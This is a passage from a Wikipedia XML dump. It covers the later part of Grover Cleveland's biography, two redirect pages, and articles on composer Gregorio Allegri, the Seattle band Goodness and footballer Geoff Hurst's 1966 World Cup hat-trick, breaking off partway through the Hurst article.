In December 1887, he called on Congress to reduce high protective [[tariff]]s. Told that he had given Republicans an effective issue for [[U.S. presidential election, 1888|the campaign of 1888]], he retorted, &quot;What is the use of being elected or re-elected unless you stand for something?&quot; He often opposed the Republican-controlled Senate. A joke of the day had the First Lady waking in the middle of the night and whispering to Cleveland, &quot;Wake up, Grover. I think there's a burglar in the house.&quot; Cleveland sleepily mumbled, &quot;No, no. Perhaps in the Senate, my dear, but not in the House.&quot;

=== Significant events ===
* [[American Federation of Labor]] is created (1886)
* [[Haymarket Riot]] (1886)
* [[Wabash, St. Louis &amp; Pacific Railroad Company v. Illinois]] (1886)
* [[Interstate Commerce Act]] (1887)
* [[Dawes Act]] (1887)

===Administration and Cabinet===
[[Image:DSCN4468 buffaloclevelandstatue e.jpg|left|thumb|Statue of Cleveland outside City Hall in Buffalo, New York]]

{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''[[Grover Cleveland]]'''||align=&quot;left&quot;|1885&amp;ndash;1889
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Thomas A. Hendricks]]'''||align=&quot;left&quot;|1885
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|''None''||align=&quot;left&quot;|1885&amp;ndash;1889
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[Thomas F. Bayard]]'''||align=&quot;left&quot;|1885&amp;ndash;1889
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Daniel Manning]]'''||align=&quot;left&quot;|1885&amp;ndash;1887
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Charles S. Fairchild]]'''||align=&quot;left&quot;|1887&amp;ndash;1889
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[William C. Endicott]]'''||align=&quot;left&quot;|1885&amp;ndash;1889
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[Augustus H. Garland]]'''||align=&quot;left&quot;|1885&amp;ndash;1889
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[William F. Vilas]]'''||align=&quot;left&quot;|1885&amp;ndash;1888
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Don M. Dickinson]]'''||align=&quot;left&quot;|1888&amp;ndash;1889
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[William C. Whitney]]'''||align=&quot;left&quot;|1885&amp;ndash;1889
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[Lucius Quintus Cincinnatus Lamar (II)|Lucius Q. C. Lamar]]'''||align=&quot;left&quot;|1885&amp;ndash;1888
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William F. Vilas]]'''||align=&quot;left&quot;|1888&amp;ndash;1889
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Secretary of Agriculture]]||align=&quot;left&quot;|'''[[Norman Jay Colman]]'''||align=&quot;left&quot;|1889
|}
&lt;br clear=&quot;all&quot;&gt;

=== Supreme Court appointments ===
Cleveland appointed the following Justices to the [[Supreme Court of the United States]] during his ''first'' term.

* [[Lucius Quintus Cincinnatus Lamar (II)|Lucius Quintus C. Lamar]] - 1888
* [[Melville Fuller|Melville Weston Fuller]] - Chief Justice - 1888

=== States admitted to the union===
''none''

==1888 campaign for reelection==
Cleveland was defeated in the 1888 presidential election. Although he won a larger share of the popular vote than Republican candidate [[Benjamin Harrison]], he received fewer [[electoral vote]]s and thus lost the election.  Upon leaving the White House in 1889, [[Frances Cleveland]] told the servants, &quot;I want you to take good care of all the furniture and ornaments in the house, for I want to find everything just as it is now when we come back again....four years from today or roughly 1,460 days from now.&quot;

==Second term as President, 1893-1897==

===Campaign===
The primary issues for Cleveland for the [[U.S. presidential election, 1892|1892 campaign]] were reducing the tariff and stopping free [[minting]] of silver which had depleted the gold reserves of the [[United States Department of the Treasury|U.S. Treasury]]. Cleveland was elected again in 1892, the only President ever elected to non-consecutive terms.

===Politics===
Shortly after Cleveland was inaugurated, the [[Panic of 1893]] struck the stock market, and he soon faced an acute [[economic depression]].  He dealt directly with the Treasury crisis rather than with business failures, farm mortgage foreclosures, and unemployment. He obtained repeal of the mildly inflationary [[Sherman Silver Purchase Act]]. With the aid of [[J. P. Morgan]] and [[Wall Street]] he maintained the Treasury's gold reserve. Critics accused him of being unfeeling and heartless, but Cleveland believed that the nation's finances had to be maintained in sound condition.  His critics seized control of the Democratic party in 1896, repudiated his administration, and nominated [[William Jennings Bryan]].  Cleveland chose to not run again for the Democratic presidential nomination in 1896, but was disappointed when his party nominated [[William Jennings Bryan]] on a [[Free Silver|Silver Platform]]. Cleveland supported a third-party [[Gold Standard|Gold Standard ticket]] that managed only 100,000 votes in the general election. Agrarians again nominated Bryan in 1900, but in 1904 the conservatives, with Cleveland's support, regained control of the Democratic party and nominated [[Alton B. Parker]].

He was an adamant opponent of strikes that interfered with interstate [[commerce]] and the operation of the government, as shown in his disapproval of the [[Pullman Strike]]. When railroad strikers in [[Chicago, Illinois]] violated a court injunction, Cleveland sent Federal troops to enforce it, since interstate commerce was involved, including mail delivery under the auspices of the federal government. &quot;If it takes the entire army and navy of the United States to deliver a postcard in Chicago,&quot; he thundered, &quot;that card will be delivered.&quot;  

Invoking the [[Monroe Doctrine]], Cleveland also forced the [[United Kingdom]] to accept [[arbitration]] of a disputed boundary in [[Venezuela]]. His administration is credited with the modernization of the [[United States Navy|U.S. Navy]] that allowed the U.S. to decisively win the [[Spanish-American War]] in 1898, one year after he left office. 

In 1893, Cleveland sent former Congressman [[James Henderson Blount]] to [[Hawaii]] to investigate the [[Kingdom of Hawaii#Overthrow_of_the_Kingdom_of_Hawai.27i|overthrow]] of Queen [[Liliuokalani]] and the establishment of a republic.  He supported Blount's scathing report; called for the restoration of Liliuokalani; and withdrew from the Senate the treaty of annexation of Hawaii. When the deposed Queen announced she would execute the current government in Honolulu, Cleveland dropped the issue. 

=== Significant events ===
* [[Panic of 1893]]
* Cleveland Opposes Annexation of [[Hawaii]] (1893)
* [[Wilson-Gorman Tariff Act]] (1894)
* [[Pullman Strike]] (1894)
* [[Coxey's Army]] (1894)
* [[United States v. E. C. Knight Co.]] (1895)

=== Administration and Cabinet ===
[[Image:Gcleveland.gif|left|framed|Portrait of Cleveland]]

{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''[[Grover Cleveland]]'''||align=&quot;left&quot;|1893&amp;ndash;1897
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Adlai E. Stevenson]]'''||align=&quot;left&quot;|1893&amp;ndash;1897
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[Walter Q. Gresham]]'''||align=&quot;left&quot;|1893&amp;ndash;1895
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Richard Olney]]'''||align=&quot;left&quot;|1895&amp;ndash;1897
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[John G. Carlisle]]'''||align=&quot;left&quot;|1893&amp;ndash;1897
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Daniel S. Lamont]]'''||align=&quot;left&quot;|1893&amp;ndash;1897
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[Richard Olney]]'''||align=&quot;left&quot;|1893&amp;ndash;1895
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Judson Harmon]]'''||align=&quot;left&quot;|1895&amp;ndash;1897
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[Wilson S. Bissell]]'''||align=&quot;left&quot;|1893&amp;ndash;1895
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William L. Wilson]]'''||align=&quot;left&quot;|1895&amp;ndash;1897
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[Hilary A. Herbert]]'''||align=&quot;left&quot;|1893&amp;ndash;1897
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[Hoke Smith]]'''||align=&quot;left&quot;|1893&amp;ndash;1896
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[David R. Francis]]'''||align=&quot;left&quot;|1896&amp;ndash;1897
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Secretary of Agriculture]]||align=&quot;left&quot;|'''[[Julius S. Morton]]'''||align=&quot;left&quot;|1893&amp;ndash;1897
|}
&lt;br clear=&quot;all&quot;&gt;

=== Supreme Court appointments ===
Cleveland appointed the following Justices to the Supreme Court during his ''second'' term.

* [[Edward Douglass White]] - 1894
* [[Rufus Wheeler Peckham]] - 1896

Two of Cleveland's nominees were rejected by the Senate.

* [[William Hornblower]], on [[January 15]], [[1894]], by a vote of 24-30.
* [[Wheeler Hazard Peckham]], (the older brother of Rufus Wheeler) on [[February 16]], [[1894]], by a vote of 32-41.

=== States admitted to the Union ===
* [[Utah]] &amp;ndash; [[January 4]], [[1896]]

===Cancer===
Just after Cleveland began his second term in 1893, Dr. R.M. O'Reilly found an [[ulcer]]ated sore a little less than one inch in diameter on the left lingual surface of Cleveland's [[hard palate]]. Samples taken proved the growth to be a [[malignant]] [[cancer]]. Due to the financial depression of the country, Cleveland decided to have surgery performed on the tumor in secrecy to avoid further market [[panic]]. The surgery occurred on [[July 1]], to give Cleveland time to make a full recovery in time for an [[August 7]] address to Congress, which had recessed at the end of June. 

Under the guise of a vacation, Cleveland, accompanied by lead surgeon Dr. Joseph Bryant, left for New York. Bryant, joined by his assistant Dr. John F. Erdmann, Dr. W.W. Keen Jr., Dr. Ferdinand Hasbrouck (dentist and anesthesiologist), and Dr. Edward Janeway, operated aboard the yacht ''Oneida'' as it sailed.  The surgery was conducted through the mouth, to avoid any scars or other signs of surgery. The team, sedating Cleveland with [[nitrous oxide]] (laughing gas), removed his upper left jaw and portions of his hard palate. The size of the tumor and the extent of the operation left Cleveland's mouth severely disfigured. During another surgery, an [[Orthodontics|orthodontist]] fitted Cleveland with a hard rubber prosthesis that corrected his speech and covered up the surgery.

A cover story about the removal of two bad teeth kept the suspicious press somewhat placated. Even when a newspaper story appeared, giving details of the actual operation, the participating surgeons discounted the severity of what transpired during Cleveland's vacation. In 1917, one of the surgeons present on the ''Oneida'' wrote an article detailing the operation. The lump was preserved and is on display at the [[Mütter Museum]] in [[Philadelphia, Pennsylvania|Philadelphia]], [[Pennsylvania]].

==Later life and death==
[[Image:Grover Cleveland, painting by Anders Zorn.jpg|left|thumb|180px|Oil painting of Grover Cleveland, painted in 1899 by the [[Sweden|Swedish]] painter [[Anders Zorn]].]]

After leaving the White House, Cleveland lived in retirement in [[Princeton, New Jersey]]. For a time he was a trustee of [[Princeton University]], bringing him into contact with [[Woodrow Wilson]], a professor and later President of the University; Wilson would be the only other Democrat elected President of the U.S. between 1860 and 1932. Cleveland died on [[June 24]], [[1908]] from a heart attack. He was buried in the [[Princeton Cemetery]] of the [[Nassau Presbyterian Church]].

==Honors and Memorials==
Cleveland's portrait was on the U.S. [[Large bills|$1000 bill]] from 1928 to 1946. He also appeared on a $1000 of 1907, and the first few issues of [[Federal Reserve note]]s from 1914, on the $20.

Since he was the both the 22nd and 24th president, he will be featured on two separate dollar coins to be released in 2012 as part of the [[Presidential $1 Coin Act of 2005]].

Many public schools across the country are named in his honor.

==Trivia==

George Cleveland, the president's grandson and a New Hampshire is now an [[impersonator]] and [[Historical reenactment|historical reenactor]] of his famous grandfather.

{{multi-listen start}}
{{multi-listen item|title=Grover Cleveland 1892 campaign speech|filename=Grover Cleveland 1892 campaign speech.ogg|description=Audio clip of the first minute of Cleveland's 1892 campaign speech.}}
{{multi-listen end}}

==See also==
* [[U.S. presidential election, 1884]]
* [[U.S. presidential election, 1888]]
* [[U.S. presidential election, 1892]]
* [[History of the United States (1865-1918)]]

==References==
===Scholarly secondary sources===
* Dewey, Davis R. '' National Problems: 1880-1897'' (1907)
* Faulkner, Harold U. ''Politics, Reform, and Expansion, 1890-1900'' (1959), survey of decade, 
* Ford, Henry Jones. ''The Cleveland Era: A Chronicle of the New Order in Politics'' (1921), short overview 
* Graff, Henry F. ''Grover Cleveland'' (2002), short overview.
* Hirsch, Mark D. ''William C. Whitney, Modern Warwick'' (1948)
* McElroy, Robert. ''Grover Cleveland, the Man and the Statesman: An Authorized Biography'' (1923)
* Morgan, H. Wayne. ''From Hayes to McKinley: National Party Politics, 1877-1896'' (1969)
* Nevins, Allan. ''Grover Cleveland: A Study in Courage'' (1932)
* Summers, Mark Wahlgren. ''Rum, Romanism &amp; Rebellion: The Making of a President, 1884'' (2000)
* Welch, Richard E. Jr. ''The Presidencies of Grover Cleveland'' (1988)

===Primary sources===
* Cleveland, Grover. ''Presidential Problems.'' (1904)
* Nevins, Allan ed. ''Letters of Grover Cleveland, 1850-1908'' (1934)
* Sturgis Amy H. ed. ''Presidents from Hayes through McKinley, 1877-1901: Debating the Issues in Pro and Con Primary Documents'' (2003)

== External links ==
{{wikiquote}}
{{Wikisource author}}
* {{gutenberg author| id=Grover+Cleveland | name=Grover Cleveland}}
* [http://www.whitehouse.gov/history/presidents/gc2224.html White House biography]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=ClevelandG Audio clips of Cleveland's speeches]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/cleve1.htm First Inaugural Address]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/cleve2.htm Second Inaugural Address]
* [http://starship.python.net/crew/manus/Presidents/sgc/sgcobit.html Obituary for Grover Cleveland]
* [http://www.lewrockwell.com/dilorenzo/dilorenzo73.html Our Libertarian President]
* [http://users.bestweb.net/~rg/execution/Famous%20Executioner.htm Statesman, President, Hangman]
* [http://tamworth.lib.nh.us/Recent_Events.14.0.html Cleveland's grandson, George, impersonating him on Heritage Day in Tamworth, New Hampshire.  August 2005]
{{start box}}
{{succession box|title=[[Mayor of Buffalo]]|before=[[Alexander Brush]]|after=[[Marcus Drake]]|years=[[January 2]], [[1882]] &amp;ndash; [[November 20]], [[1882]]}} 
{{succession box|title=[[Governor of New York]]|before=[[Alonzo B. Cornell]]|after=[[David B. Hill]]|years=1883 &amp;ndash; 1885}}
{{succession box
| title=[[List_of_United_States_Democratic_Party_presidential_tickets|Democratic Party presidential nominee]]
| before=[[Winfield Scott Hancock]]| after=[[William Jennings Bryan]]| years=[[U.S. presidential election, 1884|1884]] (won), [[U.S. presidential election, 1888|1888]] (lost), [[U.S. presidential election, 1892|1892]] (won)}}
{{succession box|title=[[President of the United States]]|before=[[Chester A. Arthur]]|after=[[Benjamin Harrison]]|years=[[March 4]], [[1885]] &amp;ndash; [[March 3]], [[1889]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;| }}
{{succession box|title=[[President of the United States]]|before=[[Benjamin Harrison]]|after=[[William McKinley]]|years=[[March 4]], [[1893]] &amp;ndash; [[March 3]], [[1897]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;| }}
{{end box}}
{{USpresidents}}
{{USDemPresNominees}}
{{NYGovernors}}
[[Category:1837 births|Cleveland, Grover]]
[[Category:1908 deaths|Cleveland, Grover]]
[[Category:American lawyers|Cleveland, Grover]]
[[Category:Autodidacts|Cleveland, Grover]]
[[Category:Democratic Party (United States) presidential nominees|Cleveland, Grover]]
[[Category:Governors of New York|Cleveland, Grover]]
[[Category:Leaders of cities in New York State|Cleveland, Grover]]
[[Category:Mayors|Cleveland, Grover]]
[[Category:People from Buffalo, New York|Cleveland, Grover]]
[[Category:Phi Beta Kappa members|Cleveland, Grover]]
[[Category:Presbyterians|Cleveland, Governor]]
[[Category:Presidents of the United States|Cleveland, Grover]]
[[Category:Princeton alumni|Clevelan, Governor]]
[[Category:Sigma Chi brothers|Cleveland, Grover]]
[[bg:Гроувър Кливланд]]
[[da:Grover Cleveland]]
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[[es:Grover Cleveland]]
[[eo:Grover CLEVELAND]]
[[fr:Grover Cleveland]]
[[ga:Grover Cleveland]]
[[ko:그로버 클리블랜드]]
[[id:Grover Cleveland]]
[[it:Grover Cleveland]]
[[he:גרובר קליבלנד]]
[[nl:Grover Cleveland]]
[[ja:グロバー・クリーブランド]]
[[no:Grover Cleveland]]
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[[pl:Grover Cleveland]]
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[[fi:Grover Cleveland]]
[[sv:Grover Cleveland]]
[[zh:格罗弗·克利夫兰]]</text>
    </revision>
  </page>
  <page>
    <title>Gerald R. Ford</title>
    <id>12496</id>
    <revision>
      <id>15910181</id>
      <timestamp>2004-06-11T16:55:07Z</timestamp>
      <contributor>
        <username>Marcus2</username>
        <id>69025</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Gerald Ford]]</text>
    </revision>
  </page>
  <page>
    <title>Gustav I</title>
    <id>12498</id>
    <revision>
      <id>24815960</id>
      <timestamp>2005-10-05T15:08:57Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Gustav I of Sweden]]</text>
    </revision>
  </page>
  <page>
    <title>Gregorio Allegri</title>
    <id>12499</id>
    <revision>
      <id>35647613</id>
      <timestamp>2006-01-18T06:41:41Z</timestamp>
      <contributor>
        <username>Rachel1</username>
        <id>196125</id>
      </contributor>
      <minor />
      <comment>he:</comment>
      <text xml:space="preserve">'''Gregorio Allegri''' ([[1582]] &amp;ndash; [[February 7]], [[1652]]) was an [[Italy|Italian]] [[composer]] and [[priest]] of the [[Roman School]] of composers.  He mainly lived in [[Rome]], and died there.

He studied music under [[Giovanni Maria Nanino|Giovanni Maria Nanini]], the intimate friend of [[Giovanni Pierluigi da Palestrina|Palestrina]].  Being intended for the church, he obtained a benefice in the cathedral of [[Fermo]].  Here he composed a large number of [[motet]]s and other sacred music, which, being brought to the notice of [[Pope Urban VIII]], obtained for him an appointment in the choir of the [[Sistine Chapel]] at Rome.  He held this from December [[1629]] till his death.  In character, he was regarded as singularly pure and benevolent.  

Among the musical compositions of Allegri were two volumes of concerti for five voices, published in [[1618]] and [[1619]]; two volumes of motets for six voices, published in [[1621]]; an edition of four-part [[sinfonia]]; five [[mass (music)|masses]], two settings of the [[Lamentations of Jeremiah]], as well as numerous motets which were not published in his lifetime.  He was one of the earliest composers for [[string instrument|stringed instruments]], and [[Athanasius Kircher]] has given one specimen of this class of his works in the [[Musurgia]]. Most of Allegri's published music is in the more progressive early Baroque [[concertato]] style, especially the instrumental music.  However, his work for the Sistine Chapel is descended from the Palestrina style, and in some cases strips even this refined, simple style of all ornament.

By far the most celebrated composition of Allegri is the [[Miserere (Allegri)|Miserere]].  It is written for two [[choir]]s, the one of five and the other of four voices, and has obtained a considerable celebrity.  One of the choirs sings a simple version of the original Miserere chant; the other choir, spatially separated, sings an ornamented &quot;commentary&quot; on the other choir.  The Miserere is still sung annually during [[Holy Week]] in the Sistine Chapel.  Many have cited this work as an example of the ''stile antico'' or ''prima prattica''.  However, its constant use of the dominant seventh chord and its emphasis on polychoral techniques certainly put it out of the range of &quot;prima prattica.&quot;  A more accurate comparison would be to the works of [[Giovanni Gabrieli]]. The Miserere gained international fame when it was included on the soundtrack for the 1981 film [[Chariots of Fire]].

The Miserere is one of the most often-recorded examples of late Renaissance music, although it was actually written during the chronological confines of the [[Baroque music|Baroque]] era; in this regard it is representative of the music of the Roman School of composers, who were stylistically conservative.  The work acquired a considerable reputation for mystery and inaccessibility between the time of its composition and the era of modern recording; the Vatican, wanting to preserve its aura of mystery, forbade copies:  unfortunately they were not prepared for a special visit in [[1769]] from a 14-year-old [[Wolfgang Amadeus Mozart|Mozart]], who, on a visit to Rome with his father, heard it but twice and transcribed it faithfully from memory, thus creating the first bootleg copy.  In [[1771]] Mozart's copy was procured and published in [[England]] by the famous traveler and music historian [[Dr. Burney]].  

However, Burney's edition does not show the ornamentation for which the work was famous, and the music as it is performed now is the result of a strange copyist's error in the 1880s. The curious 'trucker's gear change' from G minor to C minor is because the second half of the verse is the same as the first half, but transposed up a fourth. The original never had a Top C.

The entire music performed at [[Rome]] in [[Holy Week]], Allegri's Miserere included, has been issued at [[Leipzig]] by [[Breitkopf and Hartel|Breitkopf and Härtel]].  Interesting accounts of the impression produced by the performance at [[Rome]] may be found in the first volume of [[Felix Mendelssohn]]'s letters and in Miss Taylor's ''Letters from Italy''. 

==References==
*{{1911}}

[[Category:1582 births|Allegri, Gregorio]]
[[Category:1652 deaths|Allegri, Gregorio]]
[[Category:Baroque composers|Allegri, Gregorio]]
[[Category:Italian composers|Allegri, Gregorio]]
[[Category:Roman Catholic priests|Allegri, Gregorio]]
[[Category:Roman school composers|Allegri, Gregorio]]

[[da:Gregorio Allegri]]
[[de:Gregorio Allegri]]
[[es:Gregorio Allegri]]
[[fr:Gregorio Allegri]]
[[he:גרגוריו אלגרי]]
[[nl:Gregorio Allegri]]
[[ja:グレゴリオ・アレグリ]]
[[pl:Gregorio Allegri]]
[[fi:Gregorio Allegri]]</text>
    </revision>
  </page>
  <page>
    <title>Goodness (band)</title>
    <id>12500</id>
    <revision>
      <id>40674643</id>
      <timestamp>2006-02-22T05:27:05Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
      </contributor>
      <minor />
      <comment>moved [[Goodness]] to [[Goodness (band)]]: never use a general term for any extremely finite reference</comment>
      <text xml:space="preserve">:''For the [[philosophy|philosophical]] concept of '''goodness''' see'' [[Goodness and value theory]].

'''Goodness''' were a [[Rock (music)|rock]] band from [[Seattle, Washington]] ([[United States|U.S.]]), led by [[Carrie Akre]], formerly of [[Hammerbox]] and now a solo artist and member of the rock band [[The Rockfords]].

Goodness did a version of &quot;Electricity, Electricity&quot; for the ''[[Schoolhouse Rock|Schoolhouse Rock! Rocks]]'' tribute disc.

[[As of 2005]], Garth Reeves of Goodness is playing with Darren Loucas (of Juke) and Jeff Fiedler of Sunday Morning Music in an acoustic trio, The Unfaithful Servants of Song.

==External links==
*[http://www.carrieakre.com Carrie Akre official page]
*[http://www.therockfords.com The Rockfords official page]</text>
    </revision>
  </page>
  <page>
    <title>Geoff Hurst</title>
    <id>12501</id>
    <revision>
      <id>41749825</id>
      <timestamp>2006-03-01T13:49:36Z</timestamp>
      <contributor>
        <username>Slumgum</username>
        <id>580636</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">'''Sir Geoffrey Charles Hurst''', [[Order of the British Empire|MBE]] (born [[December 8]], [[1941]] in [[Ashton-under-Lyne]]) is a [[footballer]] enshrined in the game's history as the only player to have scored a [[hat-trick]] in a [[Football World Cup|World Cup]] final. His three goals came in the [[1966 World Cup|1966 final]] for [[England national football team|England]] in their 4-2 win over [[Germany national football team|West Germany]] at [[Wembley Stadium|Wembley]]. Such an achievement was made all the more remarkable by the fact that he was only five months and eight games into his international career, and was not considered his country's premier centre forward.

==Early career==
Hurst was born in [[Ashton-under-Lyne]], [[Lancashire]]. His footballing career began when he was an [[apprentice]] with [[West Ham United F.C.|West Ham United]]. Hurst was initially a strong-running midfielder but was converted to a centre forward by manager [[Ron Greenwood]]. West Ham won the [[FA Cup]] in 1964 with Hurst scoring the second equaliser in a tight and exciting 3-2 victory at Wembley. A year later, Hurst was back at Wembley for the final of the [[Cup Winners' Cup|European Cup Winners Cup]] against [[1860 Munich]], and West Ham won 2-0. The following season he was in the West Ham side which lost the [[League Cup]] final on [[aggregate]] to [[West Bromwich Albion F.C.|West Bromwich Albion]], and in February 1966 he was given his debut for England by manager [[Alf Ramsey]].

==1966 World Cup campaign==
Hurst settled into international football quickly but as the World Cup approached, it seemed clear that his inclusion in Ramsey's squad of 22 would merely be as a different option to the first choice partnership of [[Jimmy Greaves]] and [[Roger Hunt]]. Greaves and Hunt were indeed picked for the three group games against [[Uruguay national football team|Uruguay]], [[Mexico national football team|Mexico]] and [[France national football team|France]], but in the latter game, Greaves suffered a deep gash to his leg which required stitches, and Hurst was called up to take his place in the quarter final against [[Argentina national football team|Argentina]]. With captain [[Bobby Moore]] and young midfielder [[Martin Peters]] already in the side, it completed a trio of West Ham players selected by Ramsey at this most crucial stage of the competition.

Argentina were talented but preferred a violent approach to the game, which saw them reduced to ten men. The game was still tightly contested as it entered its final 15 minutes, but then Peters swung over a curling cross from the left flank and Hurst, anticipating his clubmate's thinking, got in front of his marker to glance a near post header past the Argentine keeper. England won 1-0 and were in the semi finals.

Greaves was not fit for the game against [[Portugal national football team|Portugal]] so Hurst and Hunt continued up front, and England won 2-1 thanks to a brace from [[Bobby Charlton]], the second of which was set up by Hurst. As the final against the Germans approached, the [[media]] learnt of Greaves' return to fitness and, while appreciating Hurst's contribution, started to call for the return of England's most prolific centre forward.

Ramsey, however, would not be swayed. Hurst had played well enough to keep his place and, with [[substitute (soccer)|substitute]]s still disallowed in competitive football, Greaves' hopes of taking part in the final were dashed. Ramsey informed Greaves and Hurst of his decision the day before the game, and would be conclusively vindicated.

==The World Cup Final==
West Germany took the lead through [[Helmut Haller]] early on, but six minutes later Moore was fouled just inside the German half of the field. He quickly picked himself up and delivered the free kick to Hurst, totally unmarked in his run as the Germans regrouped. The goalkeeper was statuesque as the header thundered past him, levelling the match. In the second half, chances went begging for both sides before England won a corner on the right with a quarter of an hour left on the [[clock]]. [[Alan Ball (footballer)|Alan Ball]] took it, outswinging the ball to Hurst on the edge of the area. Hurst turned to shoot and the ball deflected high into the air, looping down on to the right boot of Peters, who smashed it home.

The Germans equalised with virtually the last kick of the game, forcing extra time. The subsequent 30 minutes would shape the rest of Hurst's life. In the first period, Ball flicked a pass inside to Hurst who struck a strong shot towards goal, falling backwards as he did so. The ball beat the goalkeeper, hit the crossbar and bounced down before [[Wolfgang Weber]], scorer of the Germans' second goal, headed it out for a corner. England's players wanted a goal; the Germans were just as adamant that the ball had not fully crossed the line. The referee, unsure, decided to consult his linesman, [[Tofik Bakhramov]], on the right flank who had waved his flag to get the official's attention. The linesman, from [[Azerbaijan]], signalled that the ball had crossed the line and the goal was given. The Germans went mad and protested with the linesman vociferously, though as the linesman only spoke [[Russia]]n and [[Turkish language|Turkish]], that was a pointless exercise. Ever since, football reporters and commentators on England games have called in jest for a &quot;Russian linesman&quot; (Azerbaijan was part of the [[USSR]] at the time therefore all states under [[Moscow]] direction were often incorrectly referred to as &quot;Russian&quot;) whenever there has been a contentious decision to make, especially when that decision has not gone England's way.

The debate on Hurst's second goal will last forever. Advances in technology have never conclusively proved that the ball crossed the line, and generally support the opposite view, but Bakrahmov was insistent at the time and continued to justify his decision in decades to come until his death. For his part, Hurst never saw the ball bounce down because his momentum on shooting had taken him backwards on to the Wembley turf. However, he always believed the ball was in the net because of Hunt's reaction - the [[Liverpool F.C.|Liverpool]] striker was following in as the ball hit the bar and turned to celebrate a goal instead of trying to knock the rebound into the net. Hurst's argument was that a natural goalscorer such as Hunt would have put the ball into the net himself had he been in any doubt.

It looked like a 3-2 win for England with Hurst as the hero with the winning goal but in the last seconds, as the Germans were pushing everyone forward to seek the equalizer, Moore cleared his lines with a long ball over the German defence. Hurst ran on to it towards goal, stating later that he intended just to blast it as far away as he could to eat away valuable seconds. He did rather better than that - the shot flew into the net at the near post, completing a stunning victory and a hat-trick which remains unique to this day. There was no time for the Germans to restart the match. Hurst still emerged the hero of the win but as a result of the third goal, became an icon of world football too.

==Last minute==
The referee had put his [[whistle]] to his lips as Moore shaped to play the final pass to Hurst. He didn't blow it, however, yet some supporters misheard, assumed the game was complete and started invading the pitch. As Hurst collected the pass, [[BBC]] commentator [[Kenneth Wolstenholme]] immortalised his own contribution to the day with the most famous piece of football commentary ever:

&lt;blockquote&gt;'''''&quot;And here comes Hurst, he's got...''''' (notices invaders) '''''...some people are on the pitch, they think it's all over!''''' (Hurst shoots and scores) '''''It is now! And it's four!''''' &lt;/blockquote&gt;

Hurst was immediately jumped upon by Alan Ball, the only other player upfield at the time Moore played the pass. Meanwhile, [[camera]]s quickly snapped a bemused-looking Greaves in his suit and tie on the England bench, amazed at the achievements of the man who had replaced him. Greaves would later say it was an emotional reaction but he was just as thrilled for Hurst and England as the other squad players who had not been picked for the final.

